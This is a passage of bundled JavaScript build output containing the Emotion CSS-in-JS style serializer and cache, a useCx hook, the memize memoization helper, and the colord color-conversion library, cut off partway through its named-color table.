21579 if (typeof value === "string") {
21580 return value.replace(animationRegex, function(match4, p1, p22) {
21581 cursor = {
21582 name: p1,
21583 styles: p22,
21584 next: cursor
21585 };
21586 return p1;
21587 });
21588 }
21589 }
21590 }
21591 if (unitlessKeys[key] !== 1 && !isCustomProperty(key) && typeof value === "number" && value !== 0) {
21592 return value + "px";
21593 }
21594 return value;
21595 };
21596 var noComponentSelectorMessage = "Component selectors can only be used in conjunction with @emotion/babel-plugin, the swc Emotion plugin, or another Emotion-aware compiler transform.";
21597 function handleInterpolation(mergedProps, registered, interpolation) {
21598 if (interpolation == null) {
21599 return "";
21600 }
21601 var componentSelector = interpolation;
21602 if (componentSelector.__emotion_styles !== void 0) {
21603 return componentSelector;
21604 }
21605 switch (typeof interpolation) {
21606 case "boolean": {
21607 return "";
21608 }
21609 case "object": {
21610 var keyframes4 = interpolation;
21611 if (keyframes4.anim === 1) {
21612 cursor = {
21613 name: keyframes4.name,
21614 styles: keyframes4.styles,
21615 next: cursor
21616 };
21617 return keyframes4.name;
21618 }
21619 var serializedStyles = interpolation;
21620 if (serializedStyles.styles !== void 0) {
21621 var next2 = serializedStyles.next;
21622 if (next2 !== void 0) {
21623 while (next2 !== void 0) {
21624 cursor = {
21625 name: next2.name,
21626 styles: next2.styles,
21627 next: cursor
21628 };
21629 next2 = next2.next;
21630 }
21631 }
21632 var styles3 = serializedStyles.styles + ";";
21633 return styles3;
21634 }
21635 return createStringFromObject(mergedProps, registered, interpolation);
21636 }
21637 case "function": {
21638 if (mergedProps !== void 0) {
21639 var previousCursor = cursor;
21640 var result = interpolation(mergedProps);
21641 cursor = previousCursor;
21642 return handleInterpolation(mergedProps, registered, result);
21643 }
21644 break;
21645 }
21646 }
21647 var asString = interpolation;
21648 if (registered == null) {
21649 return asString;
21650 }
21651 var cached = registered[asString];
21652 return cached !== void 0 ? cached : asString;
21653 }
21654 function createStringFromObject(mergedProps, registered, obj) {
21655 var string = "";
21656 if (Array.isArray(obj)) {
21657 for (var i3 = 0; i3 < obj.length; i3++) {
21658 string += handleInterpolation(mergedProps, registered, obj[i3]) + ";";
21659 }
21660 } else {
21661 for (var key in obj) {
21662 var value = obj[key];
21663 if (typeof value !== "object") {
21664 var asString = value;
21665 if (registered != null && registered[asString] !== void 0) {
21666 string += key + "{" + registered[asString] + "}";
21667 } else if (isProcessableValue(asString)) {
21668 string += processStyleName(key) + ":" + processStyleValue(key, asString) + ";";
21669 }
21670 } else {
21671 if (key === "NO_COMPONENT_SELECTOR" && isDevelopment2) {
21672 throw new Error(noComponentSelectorMessage);
21673 }
21674 if (Array.isArray(value) && typeof value[0] === "string" && (registered == null || registered[value[0]] === void 0)) {
21675 for (var _i = 0; _i < value.length; _i++) {
21676 if (isProcessableValue(value[_i])) {
21677 string += processStyleName(key) + ":" + processStyleValue(key, value[_i]) + ";";
21678 }
21679 }
21680 } else {
21681 var interpolated = handleInterpolation(mergedProps, registered, value);
21682 switch (key) {
21683 case "animation":
21684 case "animationName": {
21685 string += processStyleName(key) + ":" + interpolated + ";";
21686 break;
21687 }
21688 default: {
21689 string += key + "{" + interpolated + "}";
21690 }
21691 }
21692 }
21693 }
21694 }
21695 }
21696 return string;
21697 }
21698 var labelPattern = /label:\s*([^\s;{]+)\s*(;|$)/g;
21699 var cursor;
21700 function serializeStyles(args, registered, mergedProps) {
21701 if (args.length === 1 && typeof args[0] === "object" && args[0] !== null && args[0].styles !== void 0) {
21702 return args[0];
21703 }
21704 var stringMode = true;
21705 var styles3 = "";
21706 cursor = void 0;
21707 var strings = args[0];
21708 if (strings == null || strings.raw === void 0) {
21709 stringMode = false;
21710 styles3 += handleInterpolation(mergedProps, registered, strings);
21711 } else {
21712 var asTemplateStringsArr = strings;
21713 styles3 += asTemplateStringsArr[0];
21714 }
21715 for (var i3 = 1; i3 < args.length; i3++) {
21716 styles3 += handleInterpolation(mergedProps, registered, args[i3]);
21717 if (stringMode) {
21718 var templateStringsArr = strings;
21719 styles3 += templateStringsArr[i3];
21720 }
21721 }
21722 labelPattern.lastIndex = 0;
21723 var identifierName = "";
21724 var match4;
21725 while ((match4 = labelPattern.exec(styles3)) !== null) {
21726 identifierName += "-" + match4[1];
21727 }
21728 var name = murmur2(styles3) + identifierName;
21729 return {
21730 name,
21731 styles: styles3,
21732 next: cursor
21733 };
21734 }
21735
21736 // node_modules/@emotion/use-insertion-effect-with-fallbacks/dist/emotion-use-insertion-effect-with-fallbacks.browser.esm.js
21737 var React6 = __toESM(require_react());
21738 var syncFallback = function syncFallback2(create2) {
21739 return create2();
21740 };
21741 var useInsertionEffect4 = React6["useInsertionEffect"] ? React6["useInsertionEffect"] : false;
21742 var useInsertionEffectAlwaysWithSyncFallback = useInsertionEffect4 || syncFallback;
21743
21744 // node_modules/@emotion/react/dist/emotion-element-f0de968e.browser.esm.js
21745 var isDevelopment3 = false;
21746 var EmotionCacheContext = /* @__PURE__ */ React7.createContext(
21747 // we're doing this to avoid preconstruct's dead code elimination in this one case
21748 // because this module is primarily intended for the browser and node
21749 // but it's also required in react native and similar environments sometimes
21750 // and we could have a special build just for that
21751 // but this is much easier and the native packages
21752 // might use a different theme context in the future anyway
21753 typeof HTMLElement !== "undefined" ? /* @__PURE__ */ createCache({
21754 key: "css"
21755 }) : null
21756 );
21757 var CacheProvider = EmotionCacheContext.Provider;
21758 var __unsafe_useEmotionCache = function useEmotionCache() {
21759 return (0, import_react80.useContext)(EmotionCacheContext);
21760 };
21761 var withEmotionCache = function withEmotionCache2(func) {
21762 return /* @__PURE__ */ (0, import_react80.forwardRef)(function(props, ref) {
21763 var cache2 = (0, import_react80.useContext)(EmotionCacheContext);
21764 return func(props, cache2, ref);
21765 });
21766 };
21767 var ThemeContext = /* @__PURE__ */ React7.createContext({});
21768 var hasOwn = {}.hasOwnProperty;
21769 var typePropName = "__EMOTION_TYPE_PLEASE_DO_NOT_USE__";
21770 var createEmotionProps = function createEmotionProps2(type, props) {
21771 var newProps = {};
21772 for (var _key in props) {
21773 if (hasOwn.call(props, _key)) {
21774 newProps[_key] = props[_key];
21775 }
21776 }
21777 newProps[typePropName] = type;
21778 return newProps;
21779 };
21780 var Insertion = function Insertion2(_ref11) {
21781 var cache2 = _ref11.cache, serialized = _ref11.serialized, isStringTag = _ref11.isStringTag;
21782 registerStyles(cache2, serialized, isStringTag);
21783 useInsertionEffectAlwaysWithSyncFallback(function() {
21784 return insertStyles(cache2, serialized, isStringTag);
21785 });
21786 return null;
21787 };
21788 var Emotion = /* @__PURE__ */ withEmotionCache(function(props, cache2, ref) {
21789 var cssProp = props.css;
21790 if (typeof cssProp === "string" && cache2.registered[cssProp] !== void 0) {
21791 cssProp = cache2.registered[cssProp];
21792 }
21793 var WrappedComponent = props[typePropName];
21794 var registeredStyles = [cssProp];
21795 var className2 = "";
21796 if (typeof props.className === "string") {
21797 className2 = getRegisteredStyles(cache2.registered, registeredStyles, props.className);
21798 } else if (props.className != null) {
21799 className2 = props.className + " ";
21800 }
21801 var serialized = serializeStyles(registeredStyles, void 0, React7.useContext(ThemeContext));
21802 className2 += cache2.key + "-" + serialized.name;
21803 var newProps = {};
21804 for (var _key2 in props) {
21805 if (hasOwn.call(props, _key2) && _key2 !== "css" && _key2 !== typePropName && !isDevelopment3) {
21806 newProps[_key2] = props[_key2];
21807 }
21808 }
21809 newProps.className = className2;
21810 if (ref) {
21811 newProps.ref = ref;
21812 }
21813 return /* @__PURE__ */ React7.createElement(React7.Fragment, null, /* @__PURE__ */ React7.createElement(Insertion, {
21814 cache: cache2,
21815 serialized,
21816 isStringTag: typeof WrappedComponent === "string"
21817 }), /* @__PURE__ */ React7.createElement(WrappedComponent, newProps));
21818 });
21819 var Emotion$1 = Emotion;
21820
21821 // node_modules/@emotion/react/dist/emotion-react.browser.esm.js
21822 var React8 = __toESM(require_react());
21823 var import_hoist_non_react_statics = __toESM(require_hoist_non_react_statics_cjs());
21824 var jsx36 = function jsx37(type, props) {
21825 var args = arguments;
21826 if (props == null || !hasOwn.call(props, "css")) {
21827 return React8.createElement.apply(void 0, args);
21828 }
21829 var argsLength = args.length;
21830 var createElementArgArray = new Array(argsLength);
21831 createElementArgArray[0] = Emotion$1;
21832 createElementArgArray[1] = createEmotionProps(type, props);
21833 for (var i3 = 2; i3 < argsLength; i3++) {
21834 createElementArgArray[i3] = args[i3];
21835 }
21836 return React8.createElement.apply(null, createElementArgArray);
21837 };
21838 (function(_jsx269) {
21839 var JSX;
21840 /* @__PURE__ */ (function(_JSX) {
21841 })(JSX || (JSX = _jsx269.JSX || (_jsx269.JSX = {})));
21842 })(jsx36 || (jsx36 = {}));
21843 function css() {
21844 for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
21845 args[_key] = arguments[_key];
21846 }
21847 return serializeStyles(args);
21848 }
21849 function keyframes2() {
21850 var insertable = css.apply(void 0, arguments);
21851 var name = "animation-" + insertable.name;
21852 return {
21853 name,
21854 styles: "@keyframes " + name + "{" + insertable.styles + "}",
21855 anim: 1,
21856 toString: function toString() {
21857 return "_EMO_" + this.name + "_" + this.styles + "_EMO_";
21858 }
21859 };
21860 }
21861
21862 // packages/components/node_modules/@emotion/css/create-instance/dist/emotion-css-create-instance.esm.js
21863 function insertWithoutScoping(cache2, serialized) {
21864 if (cache2.inserted[serialized.name] === void 0) {
21865 return cache2.insert("", serialized, cache2.sheet, true);
21866 }
21867 }
21868 function merge(registered, css3, className2) {
21869 var registeredStyles = [];
21870 var rawClassName = getRegisteredStyles(registered, registeredStyles, className2);
21871 if (registeredStyles.length < 2) {
21872 return className2;
21873 }
21874 return rawClassName + css3(registeredStyles);
21875 }
21876 var createEmotion = function createEmotion2(options2) {
21877 var cache2 = createCache(options2);
21878 cache2.sheet.speedy = function(value) {
21879 this.isSpeedy = value;
21880 };
21881 cache2.compat = true;
21882 var css3 = function css4() {
21883 for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
21884 args[_key] = arguments[_key];
21885 }
21886 var serialized = serializeStyles(args, cache2.registered, void 0);
21887 insertStyles(cache2, serialized, false);
21888 return cache2.key + "-" + serialized.name;
21889 };
21890 var keyframes4 = function keyframes5() {
21891 for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
21892 args[_key2] = arguments[_key2];
21893 }
21894 var serialized = serializeStyles(args, cache2.registered);
21895 var animation = "animation-" + serialized.name;
21896 insertWithoutScoping(cache2, {
21897 name: serialized.name,
21898 styles: "@keyframes " + animation + "{" + serialized.styles + "}"
21899 });
21900 return animation;
21901 };
21902 var injectGlobal2 = function injectGlobal3() {
21903 for (var _len3 = arguments.length, args = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) {
21904 args[_key3] = arguments[_key3];
21905 }
21906 var serialized = serializeStyles(args, cache2.registered);
21907 insertWithoutScoping(cache2, serialized);
21908 };
21909 var cx3 = function cx4() {
21910 for (var _len4 = arguments.length, args = new Array(_len4), _key4 = 0; _key4 < _len4; _key4++) {
21911 args[_key4] = arguments[_key4];
21912 }
21913 return merge(cache2.registered, css3, classnames(args));
21914 };
21915 return {
21916 css: css3,
21917 cx: cx3,
21918 injectGlobal: injectGlobal2,
21919 keyframes: keyframes4,
21920 hydrate: function hydrate2(ids) {
21921 ids.forEach(function(key) {
21922 cache2.inserted[key] = true;
21923 });
21924 },
21925 flush: function flush2() {
21926 cache2.registered = {};
21927 cache2.inserted = {};
21928 cache2.sheet.flush();
21929 },
21930 sheet: cache2.sheet,
21931 cache: cache2,
21932 getRegisteredStyles: getRegisteredStyles.bind(null, cache2.registered),
21933 merge: merge.bind(null, cache2.registered, css3)
21934 };
21935 };
21936 var classnames = function classnames2(args) {
21937 var cls = "";
21938 for (var i3 = 0; i3 < args.length; i3++) {
21939 var arg = args[i3];
21940 if (arg == null) continue;
21941 var toAdd = void 0;
21942 switch (typeof arg) {
21943 case "boolean":
21944 break;
21945 case "object": {
21946 if (Array.isArray(arg)) {
21947 toAdd = classnames2(arg);
21948 } else {
21949 toAdd = "";
21950 for (var k3 in arg) {
21951 if (arg[k3] && k3) {
21952 toAdd && (toAdd += " ");
21953 toAdd += k3;
21954 }
21955 }
21956 }
21957 break;
21958 }
21959 default: {
21960 toAdd = arg;
21961 }
21962 }
21963 if (toAdd) {
21964 cls && (cls += " ");
21965 cls += toAdd;
21966 }
21967 }
21968 return cls;
21969 };
21970
21971 // packages/components/node_modules/@emotion/css/dist/emotion-css.esm.js
21972 var _createEmotion = createEmotion({
21973 key: "css"
21974 });
21975 var flush = _createEmotion.flush;
21976 var hydrate = _createEmotion.hydrate;
21977 var cx2 = _createEmotion.cx;
21978 var merge2 = _createEmotion.merge;
21979 var getRegisteredStyles2 = _createEmotion.getRegisteredStyles;
21980 var injectGlobal = _createEmotion.injectGlobal;
21981 var keyframes3 = _createEmotion.keyframes;
21982 var css2 = _createEmotion.css;
21983 var sheet = _createEmotion.sheet;
21984 var cache = _createEmotion.cache;
21985
21986 // packages/components/build-module/utils/hooks/use-cx.mjs
21987 var import_element12 = __toESM(require_element(), 1);
21988 var isSerializedStyles = (o4) => typeof o4 !== "undefined" && o4 !== null && ["name", "styles"].every((p3) => typeof o4[p3] !== "undefined");
21989 var useCx = () => {
21990 const cache2 = __unsafe_useEmotionCache();
21991 const cx3 = (0, import_element12.useCallback)((...classNames) => {
21992 if (cache2 === null) {
21993 throw new Error("The `useCx` hook should be only used within a valid Emotion Cache Context");
21994 }
21995 return cx2(...classNames.map((arg) => {
21996 if (isSerializedStyles(arg)) {
21997 insertStyles(cache2, arg, false);
21998 return `${cache2.key}-${arg.name}`;
21999 }
22000 return arg;
22001 }));
22002 }, [cache2]);
22003 return cx3;
22004 };
22005
22006 // packages/components/build-module/utils/box-sizing.mjs
22007 function _EMOTION_STRINGIFIED_CSS_ERROR__() {
22008 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
22009 }
22010 var boxSizingReset = false ? {
22011 name: "kv6lnz",
22012 styles: "box-sizing:border-box;*,*::before,*::after{box-sizing:inherit;}"
22013 } : {
22014 name: "1pa5nhz-boxSizingReset",
22015 styles: "box-sizing:border-box;*,*::before,*::after{box-sizing:inherit;};label:boxSizingReset;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJveC1zaXppbmcudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBS2lDIiwiZmlsZSI6ImJveC1zaXppbmcudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBib3hTaXppbmdSZXNldCA9IGNzc2Bcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQqLFxuXHQqOjpiZWZvcmUsXG5cdCo6OmFmdGVyIHtcblx0XHRib3gtc2l6aW5nOiBpbmhlcml0O1xuXHR9XG5gO1xuIl19 */",
22016 toString: _EMOTION_STRINGIFIED_CSS_ERROR__
22017 };
22018
22019 // node_modules/memize/dist/index.js
22020 function memize(fn, options2) {
22021 var size3 = 0;
22022 var head;
22023 var tail;
22024 options2 = options2 || {};
22025 function memoized() {
22026 var node2 = head, len = arguments.length, args, i3;
22027 searchCache: while (node2) {
22028 if (node2.args.length !== arguments.length) {
22029 node2 = node2.next;
22030 continue;
22031 }
22032 for (i3 = 0; i3 < len; i3++) {
22033 if (node2.args[i3] !== arguments[i3]) {
22034 node2 = node2.next;
22035 continue searchCache;
22036 }
22037 }
22038 if (node2 !== head) {
22039 if (node2 === tail) {
22040 tail = node2.prev;
22041 }
22042 node2.prev.next = node2.next;
22043 if (node2.next) {
22044 node2.next.prev = node2.prev;
22045 }
22046 node2.next = head;
22047 node2.prev = null;
22048 head.prev = node2;
22049 head = node2;
22050 }
22051 return node2.val;
22052 }
22053 args = new Array(len);
22054 for (i3 = 0; i3 < len; i3++) {
22055 args[i3] = arguments[i3];
22056 }
22057 node2 = {
22058 args,
22059 // Generate the result from original function
22060 val: fn.apply(null, args)
22061 };
22062 if (head) {
22063 head.prev = node2;
22064 node2.next = head;
22065 } else {
22066 tail = node2;
22067 }
22068 if (size3 === /** @type {MemizeOptions} */
22069 options2.maxSize) {
22070 tail = /** @type {MemizeCacheNode} */
22071 tail.prev;
22072 tail.next = null;
22073 } else {
22074 size3++;
22075 }
22076 head = node2;
22077 return node2.val;
22078 }
22079 memoized.clear = function() {
22080 head = null;
22081 tail = null;
22082 size3 = 0;
22083 };
22084 return memoized;
22085 }
22086
22087 // node_modules/colord/index.mjs
22088 var r2 = { grad: 0.9, turn: 360, rad: 360 / (2 * Math.PI) };
22089 var t = function(r4) {
22090 return "string" == typeof r4 ? r4.length > 0 : "number" == typeof r4;
22091 };
22092 var n = function(r4, t4, n3) {
22093 return void 0 === t4 && (t4 = 0), void 0 === n3 && (n3 = Math.pow(10, t4)), Math.round(n3 * r4) / n3 + 0;
22094 };
22095 var e = function(r4, t4, n3) {
22096 return void 0 === t4 && (t4 = 0), void 0 === n3 && (n3 = 1), r4 > n3 ? n3 : r4 > t4 ? r4 : t4;
22097 };
22098 var u = function(r4) {
22099 return (r4 = isFinite(r4) ? r4 % 360 : 0) > 0 ? r4 : r4 + 360;
22100 };
22101 var a = function(r4) {
22102 return { r: e(r4.r, 0, 255), g: e(r4.g, 0, 255), b: e(r4.b, 0, 255), a: e(r4.a) };
22103 };
22104 var o = function(r4) {
22105 return { r: n(r4.r), g: n(r4.g), b: n(r4.b), a: n(r4.a, 3) };
22106 };
22107 var i = /^#([0-9a-f]{3,8})$/i;
22108 var s = function(r4) {
22109 var t4 = r4.toString(16);
22110 return t4.length < 2 ? "0" + t4 : t4;
22111 };
22112 var h = function(r4) {
22113 var t4 = r4.r, n3 = r4.g, e3 = r4.b, u3 = r4.a, a3 = Math.max(t4, n3, e3), o4 = a3 - Math.min(t4, n3, e3), i3 = o4 ? a3 === t4 ? (n3 - e3) / o4 : a3 === n3 ? 2 + (e3 - t4) / o4 : 4 + (t4 - n3) / o4 : 0;
22114 return { h: 60 * (i3 < 0 ? i3 + 6 : i3), s: a3 ? o4 / a3 * 100 : 0, v: a3 / 255 * 100, a: u3 };
22115 };
22116 var b = function(r4) {
22117 var t4 = r4.h, n3 = r4.s, e3 = r4.v, u3 = r4.a;
22118 t4 = t4 / 360 * 6, n3 /= 100, e3 /= 100;
22119 var a3 = Math.floor(t4), o4 = e3 * (1 - n3), i3 = e3 * (1 - (t4 - a3) * n3), s3 = e3 * (1 - (1 - t4 + a3) * n3), h3 = a3 % 6;
22120 return { r: 255 * [e3, i3, o4, o4, s3, e3][h3], g: 255 * [s3, e3, e3, i3, o4, o4][h3], b: 255 * [o4, o4, s3, e3, e3, i3][h3], a: u3 };
22121 };
22122 var g = function(r4) {
22123 return { h: u(r4.h), s: e(r4.s, 0, 100), l: e(r4.l, 0, 100), a: e(r4.a) };
22124 };
22125 var d = function(r4) {
22126 return { h: n(r4.h), s: n(r4.s), l: n(r4.l), a: n(r4.a, 3) };
22127 };
22128 var f = function(r4) {
22129 return b((n3 = (t4 = r4).s, { h: t4.h, s: (n3 *= ((e3 = t4.l) < 50 ? e3 : 100 - e3) / 100) > 0 ? 2 * n3 / (e3 + n3) * 100 : 0, v: e3 + n3, a: t4.a }));
22130 var t4, n3, e3;
22131 };
22132 var c = function(r4) {
22133 return { h: (t4 = h(r4)).h, s: (u3 = (200 - (n3 = t4.s)) * (e3 = t4.v) / 100) > 0 && u3 < 200 ? n3 * e3 / 100 / (u3 <= 100 ? u3 : 200 - u3) * 100 : 0, l: u3 / 2, a: t4.a };
22134 var t4, n3, e3, u3;
22135 };
22136 var l = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
22137 var p = /^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
22138 var v = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
22139 var m = /^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i;
22140 var y = { string: [[function(r4) {
22141 var t4 = i.exec(r4);
22142 return t4 ? (r4 = t4[1]).length <= 4 ? { r: parseInt(r4[0] + r4[0], 16), g: parseInt(r4[1] + r4[1], 16), b: parseInt(r4[2] + r4[2], 16), a: 4 === r4.length ? n(parseInt(r4[3] + r4[3], 16) / 255, 2) : 1 } : 6 === r4.length || 8 === r4.length ? { r: parseInt(r4.substr(0, 2), 16), g: parseInt(r4.substr(2, 2), 16), b: parseInt(r4.substr(4, 2), 16), a: 8 === r4.length ? n(parseInt(r4.substr(6, 2), 16) / 255, 2) : 1 } : null : null;
22143 }, "hex"], [function(r4) {
22144 var t4 = v.exec(r4) || m.exec(r4);
22145 return t4 ? t4[2] !== t4[4] || t4[4] !== t4[6] ? null : a({ r: Number(t4[1]) / (t4[2] ? 100 / 255 : 1), g: Number(t4[3]) / (t4[4] ? 100 / 255 : 1), b: Number(t4[5]) / (t4[6] ? 100 / 255 : 1), a: void 0 === t4[7] ? 1 : Number(t4[7]) / (t4[8] ? 100 : 1) }) : null;
22146 }, "rgb"], [function(t4) {
22147 var n3 = l.exec(t4) || p.exec(t4);
22148 if (!n3) return null;
22149 var e3, u3, a3 = g({ h: (e3 = n3[1], u3 = n3[2], void 0 === u3 && (u3 = "deg"), Number(e3) * (r2[u3] || 1)), s: Number(n3[3]), l: Number(n3[4]), a: void 0 === n3[5] ? 1 : Number(n3[5]) / (n3[6] ? 100 : 1) });
22150 return f(a3);
22151 }, "hsl"]], object: [[function(r4) {
22152 var n3 = r4.r, e3 = r4.g, u3 = r4.b, o4 = r4.a, i3 = void 0 === o4 ? 1 : o4;
22153 return t(n3) && t(e3) && t(u3) ? a({ r: Number(n3), g: Number(e3), b: Number(u3), a: Number(i3) }) : null;
22154 }, "rgb"], [function(r4) {
22155 var n3 = r4.h, e3 = r4.s, u3 = r4.l, a3 = r4.a, o4 = void 0 === a3 ? 1 : a3;
22156 if (!t(n3) || !t(e3) || !t(u3)) return null;
22157 var i3 = g({ h: Number(n3), s: Number(e3), l: Number(u3), a: Number(o4) });
22158 return f(i3);
22159 }, "hsl"], [function(r4) {
22160 var n3 = r4.h, a3 = r4.s, o4 = r4.v, i3 = r4.a, s3 = void 0 === i3 ? 1 : i3;
22161 if (!t(n3) || !t(a3) || !t(o4)) return null;
22162 var h3 = (function(r5) {
22163 return { h: u(r5.h), s: e(r5.s, 0, 100), v: e(r5.v, 0, 100), a: e(r5.a) };
22164 })({ h: Number(n3), s: Number(a3), v: Number(o4), a: Number(s3) });
22165 return b(h3);
22166 }, "hsv"]] };
22167 var N = function(r4, t4) {
22168 for (var n3 = 0; n3 < t4.length; n3++) {
22169 var e3 = t4[n3][0](r4);
22170 if (e3) return [e3, t4[n3][1]];
22171 }
22172 return [null, void 0];
22173 };
22174 var x = function(r4) {
22175 return "string" == typeof r4 ? N(r4.trim(), y.string) : "object" == typeof r4 && null !== r4 ? N(r4, y.object) : [null, void 0];
22176 };
22177 var I = function(r4) {
22178 return x(r4)[1];
22179 };
22180 var M = function(r4, t4) {
22181 var n3 = c(r4);
22182 return { h: n3.h, s: e(n3.s + 100 * t4, 0, 100), l: n3.l, a: n3.a };
22183 };
22184 var H = function(r4) {
22185 return (299 * r4.r + 587 * r4.g + 114 * r4.b) / 1e3 / 255;
22186 };
22187 var $ = function(r4, t4) {
22188 var n3 = c(r4);
22189 return { h: n3.h, s: n3.s, l: e(n3.l + 100 * t4, 0, 100), a: n3.a };
22190 };
22191 var j = (function() {
22192 function r4(r5) {
22193 this.parsed = x(r5)[0], this.rgba = this.parsed || { r: 0, g: 0, b: 0, a: 1 };
22194 }
22195 return r4.prototype.isValid = function() {
22196 return null !== this.parsed;
22197 }, r4.prototype.brightness = function() {
22198 return n(H(this.rgba), 2);
22199 }, r4.prototype.isDark = function() {
22200 return H(this.rgba) < 0.5;
22201 }, r4.prototype.isLight = function() {
22202 return H(this.rgba) >= 0.5;
22203 }, r4.prototype.toHex = function() {
22204 return r5 = o(this.rgba), t4 = r5.r, e3 = r5.g, u3 = r5.b, i3 = (a3 = r5.a) < 1 ? s(n(255 * a3)) : "", "#" + s(t4) + s(e3) + s(u3) + i3;
22205 var r5, t4, e3, u3, a3, i3;
22206 }, r4.prototype.toRgb = function() {
22207 return o(this.rgba);
22208 }, r4.prototype.toRgbString = function() {
22209 return r5 = o(this.rgba), t4 = r5.r, n3 = r5.g, e3 = r5.b, (u3 = r5.a) < 1 ? "rgba(" + t4 + ", " + n3 + ", " + e3 + ", " + u3 + ")" : "rgb(" + t4 + ", " + n3 + ", " + e3 + ")";
22210 var r5, t4, n3, e3, u3;
22211 }, r4.prototype.toHsl = function() {
22212 return d(c(this.rgba));
22213 }, r4.prototype.toHslString = function() {
22214 return r5 = d(c(this.rgba)), t4 = r5.h, n3 = r5.s, e3 = r5.l, (u3 = r5.a) < 1 ? "hsla(" + t4 + ", " + n3 + "%, " + e3 + "%, " + u3 + ")" : "hsl(" + t4 + ", " + n3 + "%, " + e3 + "%)";
22215 var r5, t4, n3, e3, u3;
22216 }, r4.prototype.toHsv = function() {
22217 return r5 = h(this.rgba), { h: n(r5.h), s: n(r5.s), v: n(r5.v), a: n(r5.a, 3) };
22218 var r5;
22219 }, r4.prototype.invert = function() {
22220 return w({ r: 255 - (r5 = this.rgba).r, g: 255 - r5.g, b: 255 - r5.b, a: r5.a });
22221 var r5;
22222 }, r4.prototype.saturate = function(r5) {
22223 return void 0 === r5 && (r5 = 0.1), w(M(this.rgba, r5));
22224 }, r4.prototype.desaturate = function(r5) {
22225 return void 0 === r5 && (r5 = 0.1), w(M(this.rgba, -r5));
22226 }, r4.prototype.grayscale = function() {
22227 return w(M(this.rgba, -1));
22228 }, r4.prototype.lighten = function(r5) {
22229 return void 0 === r5 && (r5 = 0.1), w($(this.rgba, r5));
22230 }, r4.prototype.darken = function(r5) {
22231 return void 0 === r5 && (r5 = 0.1), w($(this.rgba, -r5));
22232 }, r4.prototype.rotate = function(r5) {
22233 return void 0 === r5 && (r5 = 15), this.hue(this.hue() + r5);
22234 }, r4.prototype.alpha = function(r5) {
22235 return "number" == typeof r5 ? w({ r: (t4 = this.rgba).r, g: t4.g, b: t4.b, a: r5 }) : n(this.rgba.a, 3);
22236 var t4;
22237 }, r4.prototype.hue = function(r5) {
22238 var t4 = c(this.rgba);
22239 return "number" == typeof r5 ? w({ h: r5, s: t4.s, l: t4.l, a: t4.a }) : n(t4.h);
22240 }, r4.prototype.isEqual = function(r5) {
22241 return this.toHex() === w(r5).toHex();
22242 }, r4;
22243 })();
22244 var w = function(r4) {
22245 return r4 instanceof j ? r4 : new j(r4);
22246 };
22247 var S = [];
22248 var k = function(r4) {
22249 r4.forEach(function(r5) {
22250 S.indexOf(r5) < 0 && (r5(j, y), S.push(r5));
22251 });
22252 };
22253
22254 // node_modules/colord/plugins/names.mjs
22255 function names_default(e3, f3) {
22256 var a3 = { white: "#ffffff", bisque: "#ffe4c4", blue: "#0000ff", cadetblue: "#5f9ea0", chartreuse: "#7fff00", chocolate: "#d2691e", coral: "#ff7f50", antiquewhite: "#faebd7", aqua: "#00ffff", azure: "#f0ffff", whitesmoke: "#f5f5f5", papayawhip: "#ffefd5", plum: "#dda0dd", blanchedalmond: "#ffebcd", black: "#000000", gold: "#ffd700", goldenrod: "#daa520", gainsboro: "#dcdcdc", cornsilk: "#fff8dc", cornflowerblue: "#6495ed", burlywood: "#deb887", aquamarine: "#7fffd4", beige: "#f5f5dc", crimson: "#dc143c", cyan: "#00ffff", darkblue: "#00008b", darkcyan: "#008b8b", darkgoldenrod: "#b8860b", darkkhaki: "#bdb76b", darkgray: "#a9a9a9", darkgreen: "#006400", darkgrey: "#a9a9a9", peachpuff: "#ffdab9", darkmagenta: "#8b008b", darkred: "#8b0000", darkorchid: "#9932cc", darkorange: "#ff8c00", darkslateblue: "#483d8b", gray: "#808080", darkslategray: "#2f4f4f", darkslategrey: "#2f4f4f", deeppink: "#ff1493", deepskyblue: "#00bfff", wheat: "#f5deb3", firebrick: "#b22222", floralwhite: "#fffaf0", ghostwhite: "#f8f8ff", darkviolet: "#9400d3", magenta: "#ff00ff", green: "#008000", dodgerblue: "#1e90ff", grey: "#808080", honeydew: "#f0fff0", hotpink: "#ff69b4", blueviolet: "#8a2be2", forestgreen: "#228b22", lawngreen: "#7cfc00", indianred: "#cd5c5c", indigo: "#4b0082", fuchsia: "#ff00ff", brown: "#a52a2a", maroon: "#800000", mediumblue: "#0000cd", lightcoral: "#f08080", darkturquoise: "#00ced1", lightcyan: "#e0ffff", ivory: "#fffff0", lightyellow: "#ffffe0", lightsalmon: "#ffa07a", lightseagreen: "#20b2aa", linen: "#faf0e6", mediumaquamarine: "#66cdaa", lemonchiffon: "#fffacd", lime: "#00ff00", khaki: 